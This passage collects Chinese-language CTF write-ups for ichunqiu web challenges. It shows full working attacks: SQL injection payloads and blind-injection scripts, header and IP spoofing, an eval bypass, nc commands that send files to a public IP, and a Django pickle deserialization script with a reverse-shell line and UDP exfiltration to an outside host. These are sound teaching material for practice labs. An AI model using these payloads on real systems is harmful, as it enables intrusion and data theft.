得到驗證碼之后,再去猜解賬戶密碼,手工多次嘗試后,發現登陸點存在注入漏洞,使用萬能用戶賬號:admin' or '1'='1# 密碼任意,可登陸系統
http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/action.php?action=login

成功登陸到系統后,發現后台有3個文件可以下載
分別對hello.txt和s.txt以及a.php進行下載,並查看內容,發現並沒有可利用點
同時也可以看到 Challenges/file/download.php?f=連接中的f參數可能存在任意文件包含漏洞
這里參數讀取/etc/passwd,這里讀取的內容,並不是/etc/passwd的內容
http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/file/download.php?f=../etc/passwd
接着參數讀取flag.php,也發現不能讀取flag.php的內容
http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/file/download.php?f=../flag.php
手工測試發現在Chanllenges目錄下存在flag.php,只是訪問是空白的,那么猜測flag.php的默認路徑為:/var/www/html/ Challenges/flag.php(一般apache服務器的網站默認路徑為/var/www/html)
http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/flag.php
因此,我們就通過?f=參數進行文件包含 /var/www/html/ Challenges/flag.php讀取其內容,可直接讀取內容並下載文件到本地。
得到flag.php的源碼:
<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
        die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
         eval("\$spaceone = $f");
}
catch (Exception $e)
{
        return false;
}
if ($spaceone === 'flag'){
    echo file_get_contents("helloctf.php");
}

?>

對代碼進行審計分析:

理想情況下POST提交的flag=flag即可,而且出現’`’, ‘$’, ‘*’, ‘#’, ‘:’, ‘\’, ‘"’, “’”, ‘(’, ‘)’, ‘.’, '>'都會被替換成空格,

且參數的長度必須小於13以及不包含return的字符串,才能執行eval函數。但是eval函數做了異常處理,直接提交flag=flag會產生異常,而提交flag='flag'或flag="flag",引號會被過濾

滿足$spaceone === 'flag'。而$spaceone = $f,$f可控,那么我們用post方式提交flag=flag,但是並沒有拿到flag。

其實這里是觸發了異常處理,eval() 函數把字符串按照 PHP 代碼來計算。該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。這里我們在post的時候加個分號拿到flag

所以flag.php傳入參數?flag=flag;即可獲得helloctf.php的內容

下面構造參數讀取flag,提交后頁面中並沒有flag.

http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/flag.php

post:

flag=flag;

查看源代碼,發現flag內容
最終flag為:
flag{0299ca95-6d09-4f70-b7a3-ac765f06d558}

題目名稱:Not Found
題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,頁面內容顯示not found,且顯示一個/404.php的路徑
http://eba7dd1e003c4745a2716d3225858e3b38f73d6ae9564699.changame.ichunqiu.com/
          
          
          
                  
訪問404.php並沒有發現任何可利用點
http://eba7dd1e003c4745a2716d3225858e3b38f73d6ae9564699.changame.ichunqiu.com/404.php
在訪問靶場網站主頁的時候,通過burpsuit對其抓包分析,發現在http響應頭部中包含了一個特殊的字符 X-Method: haha

          
          
          
                  
X-Method: haha添加到http請求頭部中發送請求,發現在響應http頭部中並沒有發生變化。

X-Method字面意思是方法,猜測有可能與http請求方法有關,那么HTTP請求方法有Get,Post,OPTIONS,PUT,DELETE,CONNECT,TRACE,挨個試,在試到OPTIONS的時候出現了302重定向,並且在location中出現了?f=1.php
          
          
          
                  
通過GET方法直接訪問/ ?f=1.php,發現頁面顯示404,並沒有內容

測試OPTIONS方法發送 / ?f=1.php請求,在http響應頁面中顯示了1.php的源碼。
得到1.php源碼,發現並沒有可利用點。
<?php
    $msg = "not here";
    $msg .= PHP_EOL;
    $msg .="plz trying";
    echo $msg;

通過 cansina目錄掃描工具,發現系統中存在1.php,flag.php,.htaccess和index.phps文件
https://github.com/deibit/cansina
測試OPTIONS方法發送 / ?f=flag.php和/?f=index.phps請求,在http響應頁面中顯示了"not allowed file"



測試OPTIONS方法發送/?f=.htaccess ,在http響應頁面中顯示了"^8d829d8568e46455104209db5cd9228d.html $ 404.php [L]",說明系統中還存在8d829d8568e46455104209db5cd9228d.html 文件。
.htaccess文件提供了一種目錄級別的修改配置的方式。一個文件,包含一條或多條配置指令,放置於目錄下,這些配置指令對當前目錄和其所有子目錄生效),就相當於一個配置文件。
直接get請求訪問 8d829d8568e46455104209db5cd9228d.html,抓包發送請求,在響應頁面發現顯示"ip incorrect ???XFF??",X-Forwarded-For是XFF的簡稱,猜測是x-forwarded-for偽造為127.0.01
http://82bdf98a1cc742c6bdf7d47338a78118e818dcc33f3f4138.changame.ichunqiu.com/8d829d8568e46455104209db5cd9228d.html
在http請求頭加上x-forwarded-for:127.0.0.1,並發送請求包,在http響應頁面中依然顯示 "ip incorrect ???XFF??"
既然 x-forwarded-for不行,那么還有另一種IP偽造的方法是client-ip,這里嘗試在http頭部添加client-ip:127.0.0.1,並發送請求包,在http響應頁面中顯示了flag內容
最終flag:
flag{b85bcdc4-9faa-4a06-a674-547ac6151c13}

題目名稱:Vld
題目內容:沒有什么好介紹的
題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,發現頁面內容顯示“do you know Vulcan Logic Dumper?"
http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/
通過谷歌搜索發現Vulcan Logic Dumpe這樣定義:
vld是PECL(PHP 擴展和應用倉庫)的一個PHP擴展,現在最新版本是  0.17.1,它的作用是:顯示轉儲PHP腳本(opcode)的內部表示( 來自PECL的vld簡介)。
簡單來說,可以查看PHP程序的opcode。

查看主頁的 源碼在注釋頁面中顯示了index.php.txt
view-source:http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/
訪問 index.php.txt文件,發現是一堆看不懂的內容

這肯定就是所謂的Vulcan Logic Dumper了,先了解下相關概念

PHP內核-Zend引擎:http://www.php.cn/php-weizijiaocheng-355597.html

PHP中的opcode:https://blog.csdn.net/weiyuanke/article/details/76921476

Vulcan Logic Dumper:http://www.phppan.com/2011/05/vld-extension/

也就是說上文中看到的一堆代碼其實就是借助vld得到的,php語言中提供zend引擎執行的中間代碼opcode。有了opcode便可以將其翻譯成php代碼。  網上也沒找到翻譯opcode的工具,只好借着對照表自己人工翻譯了...

(opcode對照表:http://www.php.net/manual/en/internals2.opcodes.list.php)

這段代碼比較簡單,其實掌握下規律還是挺好分析的,這是我初步分析的結果

<?php
  echo'do+you+know+Vulcan+Logic+Dumper%3F%3Cbr%3E';
    $0=$_GET['flag1'];
    $1=$_GET['flag2']
    $2=$_GET['flag3'];
        21      如果$0不等於'fvhjjihfcv'
        22      跳轉到38行
        24      如果$1不等於'gfuyiyhioyf'
        25      跳轉到35行
        27      如果$2不等於'yugoiiyhi'
        28      跳轉到32行
        30      echo'the+next+step+is+xxx.zip';
        31      跳轉到34行
        32      EXT_STMT
        33      echo'false%3Cbr%3E';
        34      跳轉到37行
        35      EXT_STMT
        36      echo'false%3Cbr%3E';
        37      跳轉到40行
        38      EXT_STMT
        39      echo'false%3Cbr%3E';
        40      NOP
        41      EXT_STMT
        42      echo%3C%21--+index.php.txt+%3F%3E%0D%0A%0D%0A';
?>
進一步轉換為php代碼:
<?php
    echo 'do you know Vulcan Logic Dumper?<br>';
    $a=$_GET['flag1'];
    $b=$_GET['flag2'];
    $c=$_GET['flag3'];
    if($a!='fvhjjihfcv')
    {
        echo 'false<br>';
    }
    elseif($b!='gfuyiyhioyf')
    {
        echo 'false<br>';
    }
    elseif($c!='yugoiiyhi')
    {
        echo 'false<br>';
    }
    else
    {
        echo 'the next step is xxx.zip';
    }
    echo '<!-- index.php.txt ?>';
?>
有三個get參數flag1、flag2、flag3分別對應三個字符串,同時get這三個參數
那么構造/index.php?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi
那么get請求訪問:http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/index.php?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi
網頁內容轉給你顯示“the next step is 1chunqiu.zip”, 那么猜測可能訪問 1chunqiu.zip文件。
於是git請求訪問:https://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/1chunqiu.zip,得到 1chunqiu.zip壓縮文件,並對其進行解壓得到一些php文件

在login.php的源碼里有注入點,會對username的特殊符號進行處理,還會進行替換處理,輸入的username會被剔除掉number里的內容。

login.php的代碼如下:

?php

require_once 'dbmysql.class.php';

require_once 'config.inc.php';

if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['number'])){

    $db = new mysql_db();

    $username = $db->safe_data($_POST['username']);   //safe_data()函數給特殊符號加上了反斜杠

    $password = $db->my_md5($_POST['password']);

    $number = is_numeric($_POST['number']) ? $_POST['number'] : 1;

    $username = trim(str_replace($number, '', $username));   //替換了username中的number的內容

    $sql = "select * from"."`".table_name."`"."where username="."'"."$username"."'";     //可注入語句

    $row = $db->query($sql);

    $result = $db->fetch_array($row);

    if($row){

        if($result["number"] === $number && $result["password"] === $password){

            echo "<script>alert('nothing here!')</script>";

        }else{

            echo "<script>

            alert('密碼錯誤,老司機翻車了!');

            function jumpurl(){

                location='login.html';

            }

            setTimeout('jumpurl()',1000);

            </script>";

        }

    }else{

        exit(mysql_error());

    }

}else{

    echo "<script>

            alert('用戶名密碼不能為空!');

            function jumpurl(){

                location='login.html';

            }

            setTimeout('jumpurl()',1000);

        </script>";

}

 ?>

簡單對login.php進行代碼分析:

首先判斷number是否為數字,將username中與number相同的字符替換為空,username還進行了safe_data()函數的處理

password經過md5加密,number只能是純數字,所以都不存在注入點。但是username雖然經過addslashes()處理,addslashes()會將%00轉義為\0,單引號也會被轉義(單引號,反斜杠等前面都會被加上反斜杠而轉義,防御sql注入),但是又再次被這句代碼處理 "  $username = trim(str_replace($number, '', $username));  ",所以我們可以利用這里讓單引號逃逸出.

%00會被轉義成\0 ,同時在進行sql查詢的時候$username會被單引號包裹,那么可以想辦法閉合掉單引號。

如果$username的值是%00',經過safe_data處理%00'會變成\0\',然后讓number值為0,username中的0被替換為空,最后username=\\'

這樣轉義單引號的反斜杠被前一個轉義,導致后面的單引號逃逸,成功閉合前面語句,可以進行注入.

而且注入后只提供了報錯的回顯,於是可以使用報錯注入。


同時下載的壓縮文件實際上是網站的源碼備份,那么可以訪問1chunqiu/login.html路徑,得到網站登錄頁面。

http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/1chunqiu/login.html

登錄頁面中輸入車牌號和用戶名以及密碼,並抓包,發送請求
由於沒有數據回顯點,所以考慮進行報錯注入:
使用updatexml報錯注入,測試是否存在注入
number=0&username=%00' &password=3&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
看到數據庫報錯,說明單引號逃逸成功,當username提交 %00' ,經過addslashes()處理后(addslashes()會在NULL前加 \ ,0等於NULL)是  \0\'。
而number也是0,所以將從username中去掉0,username則變成  \\'  ,單引號前的\被\轉義,所以單引號逃逸成功,后台sql語句為 select * from`users`where username=' \\ ' '   ,可見多出一個單引號,當然報錯。

報錯出表名:
number=0&username=%00' and updatexml(1,mid((select concat(1,group_concat(table_name)) from information_schema.tables where table_schema=database()),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
或者
number=0&username=%00' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
得到表名:user1和flag

報錯出列名:
number=0&username=%00' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database()),1),1)# &password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
得到列名:flag,username,password,number1

查詢flag表中flag列的字段內容(因為updatexml報錯只顯示32位,所以用substr分割顯示flag)

報錯出flag字段的前半部分:

number=0&username=%00' and updatexml(1,concat(1,(select substr(flag,1,32) from flag),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

得到flag的前部分:flag{0e0aa024-4103-43d1-9569-1aa
報錯出flag字段的后半部分:
number=0&username=%00' and updatexml(1,concat(1,(select substr(flag,15,32) from flag),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
得到flag的后部分:d1-9569-1aa57700f560}
組合一起,得到flag:
flag{0e0aa024-4103-43d1-9569-1aa57700f560}

題目名稱:
題目writeup:
啟動題目場景,獲得題目靶場網站,訪問網站,發現主頁就是一張小貓圖片以及no sing內容提示
http://8fafabde91ad45e794cd3494cd780e42db150b652f414b20.changame.ichunqiu.com/
查看靶場網站主頁的源碼,發信有vim的編輯,於是想到有可能index.php被vim編輯過且意外退出沒有保存導致 產生了swp文件,因此可能存在.index.php.swp文件
get請求訪問 .index.php.swp文件,發現可以下載到本地,打開發現是亂碼
https://8fafabde91ad45e794cd3494cd780e42db150b652f414b20.changame.ichunqiu.com/.index.php.swp
通過vim -r 命令恢復.swp文件
vim -r index.php.swp
恢復后得到的index.php源碼:
<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
 function check($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
        setcookie('auth','tcp tunnel is forbidden!');
        if(isset($_POST['cmd'])){
                $command=$_POST[cmd];
                $result=exec($command);
                //echo $result;
        }
}else{
        die('no sign');
}
?>
</body>
</html>
下面簡單對源碼進行代碼審計分析:

先用GET傳入一個sign,並放入check函數,check過了就會POST傳參cmd,並執行,check失敗就會輸出no sign,這里可以用11259375的十六進制繞過:0xabcdef
http://8fafabde91ad45e794cd3494cd780e42db150b652f414b20.changame.ichunqiu.com/index.php?sign= 0xabcdef
沒有no sign說明繞過成功
接下來就是post提交命令,里面還有 setcookie('auth','tcp tunnel is forbidden!'); 這段提示說明TCP被禁止不能用curl,而且cmd命令執行后也沒有回顯,但最前面的注釋告訴了我們flag的文件,
那么我們直接用nc命令把flag文件下載下來,我們需要一台有公網ip的服務器,我們 先在自己公網VPS服務器開啟nc監聽upd端 口:
nc  -ul 2233
                     
                     
                     
                             
post傳參給cmd:
cmd=nc -u 公網IP地址  55566 < flag233.php
cmd=nc  -u  36.111.20.223 2233 < flag233.php
提交post請求,在VPS服務器上反彈出flag內容
最終得到flag:
flag{a2213dd2-4411-4320-983a-b56d3a6dedaf}


題目名稱:登陸
題目描述:先登陸再說

tips1:隱藏文件?非php源代碼

tips2:緩存?

題目writeup:
啟動靶場,獲得靶場網站,訪問網站,得到一個登陸頁面
http://29c9b579802142c094847ac64d8d440e4f1c35b78e224107.changame.ichunqiu.com/Challenges/index.php
對其主頁查看源代碼發現 ,用戶名和密碼的字段名分別為 user_n3me和p3ss_w0rd
嘗試輸入admin' or 1=1#,密碼隨便輸,頁面顯示密碼錯誤

再嘗試用戶名 admin' or ‘'1'='1#,密碼隨便輸,頁面顯示用戶名不存在
確定為布爾盲注
發現mid, substr, left ,search 以及information_schema等很多函數都不能使用,
測試like盲注方法可進行注入,類似: admin’ or database() like ‘c%’ ;# 這樣的

使用python腳本進行盲注跑出用戶名:
import string
import requests


url = 'http://6aca48750940452cb8b1df89e9dd9e2aa36215093cb24102.changame.ichunqiu.com/Challenges/login.php'
headers = {'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}
payloads = string.ascii_letters + string.digits
temp = ''
for i in range(40):
    print("hello")
    for p in payloads:
        payload = temp + p
        name = "admin' or user_n3me like '{}%' ;#".format(payload)
        data = dict(username=name, passwrod='test')
        res = requests.post(url, headers=headers, data=data)
        if (len(res.content) == 12):
            temp = temp + p
            print(temp.ljust(32, '.'))
            break
得到用戶名:bctf3dm1n
使用python 腳本進行盲注跑出用戶密碼:
#-*- coding:utf-8 -*-
#python3
from urllib.request import urlopen
from urllib import parse,request
import sys
import threading
 
url = 'http://6aca48750940452cb8b1df89e9dd9e2aa36215093cb24102.changame.ichunqiu.com/Challenges/login.php'

def get_database_length():
    for i in range(1,sys.maxsize):
        username= "admin' or length(database())>{0}#"
        username = username.format(i)
        values = {"username":username, 'password':''}  
        data = parse.urlencode(values).encode('utf-8') 
        response = request.Request(url, data)
        response = urlopen(response)
        if len(response.read().decode()) != 4:
            print("當前數據庫長度為:", i)
            return i

def get_database_name():
    global lock
    lit=list("0123456789qwertyuioplkjhgfdsazxcvbnmPOIUYTREWQASDFGHJKLMNBVCXZ")
    #后台SQL語句形如:
    #select xxx from xxx where username='' or 其他字段=xxx#
    #我們把其他字段替換成user_n3me或者p3ss_w0rd即可得出表中的用戶名和密碼字段
    username="admin' or p3ss_w0rd like '{0}%'#"
    database=''
    print("Start to retrive the database")
    while True:
        curId=0
        while True: 
            if curId == len(lit):
                break
            i = curId
            curId += 1
            un=username.format(database+lit[i])
            print(un)
            values = {"username":un, 'password':''}     
            data = parse.urlencode(values).encode('utf-8') 
            response = request.Request(url, data)
            response = urlopen(response)
            if len(response.read().decode()) == 4:
                database=database+lit[i]
                print("the database is :%s" % database) 
                break
        if curId == len(lit):
            print(database)
            break

#print(get_database_length())
get_database_name()
得到 bctf3dm1n的密碼MD5值:2bfb1532857ddc0033fdae5bde3facdf。
解密:adminqwe123666
在登錄頁面中輸入用戶名: bctf3dm1n和密碼: adminqwe123666,成功登陸系統
http://6aca48750940452cb8b1df89e9dd9e2aa36215093cb24102.changame.ichunqiu.com/Challenges/index.php
在網頁頁面上提示網站根目錄下存在.bctfg1t、index.php、login.php兩個文件和一個隱藏目錄,其中兩個文件我們在登錄過程中已經使用過了,
所以猜測flag就在隱藏目錄中,然而該目錄並沒有訪問權限,這里通過 git_extract下載git,由於題目場景靶機有問題沒有下載下來。
正常可以看到下載到本地包含flag.php.a17d89 ,且內容中包含了一個 71ec9d5ca5580c58d1872962c596ea71.php文件。
get請求訪問71ec9d5ca5580c58d1872962c596ea71.php,得到falg內容。

最終得到falg:
flag{db15e0ed-0d84-43b2-a904-a709b8a48beb}

題目名稱:Gift

題目內容:c62s的生日禮物

題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,發現是一張圖片,並且查看源碼是base64形式加密的圖片,並沒有可利用點
http://c976760b0e164d6db6d4d5bb036c3d9a8ae45466bf1e43ca.changame.ichunqiu.com/
view-source:http://c976760b0e164d6db6d4d5bb036c3d9a8ae45466bf1e43ca.changame.ichunqiu.com/

通過御劍目錄掃描工具對其進行掃描,發現存在admin目錄
訪問admin目錄頁面發現是hello admin內容,並沒有可利用點




通過get請求訪問主頁,然后對其抓包請求,也沒發現可利用點
參數將get請求方法修改為post.響應頁面里面報錯DEBUG=True.看起來和python的 Django異常出錯有關。
根據題目內容提示 c62s的生日禮物,這里我們去github搜索關鍵字c62s,找到一個用戶名c62s

打開進入后確實存在一個python的django項目並且也是gitt.zip的壓縮包,該壓縮包名字也和題目名稱相同,那就證實這個項目就是我們要找到的東西


對壓縮包進行解壓,發現需要輸入密碼


在項目中有提示“你要知道我的生日才能打開禮物”,那就說明密碼為該項目人的生日

那么我需要生成一個生成生日字典


使用ziperello對zip壓縮包加載生成的密碼字典進行爆破, 最終密碼是20001111
通過 20001111作為解壓密碼對壓縮包進行解壓得到SECRET_KEY.KEY文件,打開文件得到一個key值
oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci
看到Key文件可以聯想到Django的反序列化漏洞
我這里用的Django-1.4.22
執行下面腳本生成 命令whoami的反序化的session值:
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies

settings.configure(SECRET_KEY='oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci')


class Run(object):
def __reduce__(self):
# return (os.system,('touch /tmp/xxlegend.log',))
# return (os.system,('bash -i >& /dev/tcp/74.121.150.85/9999 0>&1',))
# return (os.system,('echo 111 > D:/1.txt',))
import subprocess
# return (subprocess.call,
# (['python','-c',
# 'import os,binascii;s=binascii.hexlify(os.popen("whoami").read().strip());'
# 'cmd="ping -c 1" + s + ".xxxx.dnslog.link";'
# 'os.popen(cmd)'
# ],))
return (subprocess.call,
(['python','-c',
'import os,socket;print "xxx";c=os.popen("whoami").read().strip();s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.sendto(c, ("36.111.20.223",2333));'
],))
# return (subprocess.call,
# (['python','-c',
# 'import os,binascii;s=binascii.hexlify(os.popen("whoami").read().strip());'
# 'cmd="ping -c 1 -p " + s + "www.baidu.com";'
# 'os.popen(cmd)'
# ],))

sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
得到session值:
gAJjc3VicHJvY2VzcwpjYWxsCnEBXXECKFUGcHl0aG9ucQNVAi1jcQRVmWltcG9ydCBvcyxzb2NrZXQ7cHJpbnQgInh4eCI7Yz1vcy5wb3Blbigid2hvYW1pIikucmVhZCgpLnN0cmlwKCk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSk7cy5zZW5kdG8oYywgKCIzNi4xMTEuMjAuMjIzIiwgMjMzMykpO3EFZYVScQYu:1mEkfh:PB_yRkY2dTK19TUZr4SH5WIdAlI
在自己的公網VPS監聽udp 2333端口( 經過測試目標靶機系統已經禁用了TCP協議,因此curl和wget和bash都不能用,這里用UDP協議反彈NC):
nc -luv 2333
get請求訪問admin目錄,然后bupsuit抓包獲取
這里cookie中的sessioid里面的值替換成python腳本生成的反序化值,然后發送請求,http響應顯示發生錯誤信息
並在NC監聽端口中顯示了執行目標系統命令whomai的回顯為root
執行下面腳本生成命令ls -al的反序化的session值
得到的session值:gAJjc3VicHJvY2VzcwpjYWxsCnEBXXECKFUGcHl0aG9ucQNVAi1jcQRVmGltcG9ydCBvcyxzb2NrZXQ7cHJpbnQgInh4eCI7Yz1vcy5wb3BlbigibHMgLWFsIikucmVhZCgpLnN0cmlwKCk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSk7cy5zZW5kdG8oYywgKCIzNi4xMTEuMjAuMjIzIiwyMzMzKSk7cQVlhVJxBi4:1mElFq:LMy5FHGziZgGZwmfD6nQqhD7waQ

可以看到在NC監聽命令中顯示出目標靶機系統存在flag.txt文件。
執行下面腳本生成命令cat flag.txt 的反序化的session值
得到session值:gAJjc3VicHJvY2VzcwpjYWxsCnEBXXECKFUGcHl0aG9ucQNVAi1jcQRVnmltcG9ydCBvcyxzb2NrZXQ7cHJpbnQgInh4eCI7Yz1vcy5wb3BlbigiY2F0IGZsYWcudHh0IikucmVhZCgpLnN0cmlwKCk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSk7cy5zZW5kdG8oYywgKCIzNi4xMTEuMjAuMjIzIiwyMzMzKSk7cQVlhVJxBi4:1mElJa:UbVTZP6gY5-lWbQlKDA6NuTCqQs
最終得到flag:
flag{8ae9c523-33f3-4946-855c-1e015412c005}

題目名稱:fuzzing

題目內容:there is noting

題目writeup:

啟動題目場景,獲得靶場網站,訪問網站,在頁面中顯示“there is nothing"

http://32987757c2bb4ecc80d2e03f8889ca8afa8770dad25f4266.changame.ichunqiu.com/Challenges/test.php
這里get請求訪問靶場網站的 Challenges/test.php頁面,通過bupsuit對其抓包,並發送請求,在http響應頭部中顯示內容“hint: ip,Large internal network”中文為:最大的內網網段IP,那就是10.0.0.0網段
並暗示我們需要偽造內網IP進行請求,這里 使用X-Forwarded-For進行偽造,所以我們隨便偽造10.0.0.0網段的一個IP地址,這里偽造10.0.0.1
X-Forwarded-For:10.0.0.1
發送請求,在http響應頭部中出現了Location: ./m4nage.php
那么我們get 請求訪問./m4nage.php頁面,在響應頁面中顯示“show me your key”,意思需要提供key值,這里將 key值賦值為1
那么構造 /Challenges/./m4nage.php?key=1,get方法發送請求,發現get請求方法不行
那么將get請求方法修改為post方法提交,在響應頁面中顯示了一些內容


得到的內容:
key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9] 告訴我們key不正確,並且對key 值進行md5加密生成的值等於 1b4167610ba3f2ac426a68488dbd89be,也告訴了key值的部分值為ichunqiu
這里通過腳本跑出key值:
import hashlib
def md5(data):
m = hashlib.md5()
m.update(data)
n = m.hexdigest()
return n

x = 'abcdefghijklmnopqrstuvwxyz1234567890'

test = 'ichunqiu'

for a in x:

for b in x:

for c in x:

if md5(test + a + b + c) == '1b4167610ba3f2ac426a68488dbd89be':
print test + a + b + c
執行腳本后,得到key值
得到KEY值為:ichunqiu105
將post中key的參數修改為ichunqiu105,並發送請求,在http響應包中顯示“the next step: xx00xxoo.php”,下一步請求訪問xx00xxoo.php

post請求訪問 xx00xxoo.php,在http響應頁面中顯示了一些內容。
得到的響應內容為:
source code is in the x0.txt.Can you guess the key
the authcode(flag) is 58e6GPQcKHY8JSGafldNziBAjUQ841Oz/11SuAgbmBfsieCE6P+ry8VFNVzWT72F/O3cLegmIiQx6CgLjuILyADMYrTVLQc
告訴我們需要訪問x0.txt,然后加密的falg的hash值,需要加密的key才能解密出flag,這里的 key值猜測是 ichunqiu105

get請求訪問 x0.txt,在響應頁面中得到一塊php的代碼。



得到php代碼,看起來就是一段flag加密的函數:
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya . md5($keya . $keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for ($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for ($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if ($operation == 'DECODE') {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc . str_replace('=', '', base64_encode($result));
    }

}

那么重新整理出解密falg的php代碼,在代碼末尾添加一句echo將結果輸出看下,並且將flag密文和ichunqiu105傳入。

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}

}
echo authcode("58e6GPQcKHY8JSGafldNziBAjUQ841Oz/11SuAgbmBfsieCE6P+ry8VFNVzWT72F/O3cLegmIiQx6CgLjuILyADMYrTVLQc", $operation = 'DECODE', $key = 'ichunqiu105', $expiry = 0)

?>
執行php得到:
最終得到flag:
flag{fa572c92-c96a-4a2c-9c58-ba84e01898ad}

題目名稱:Hash

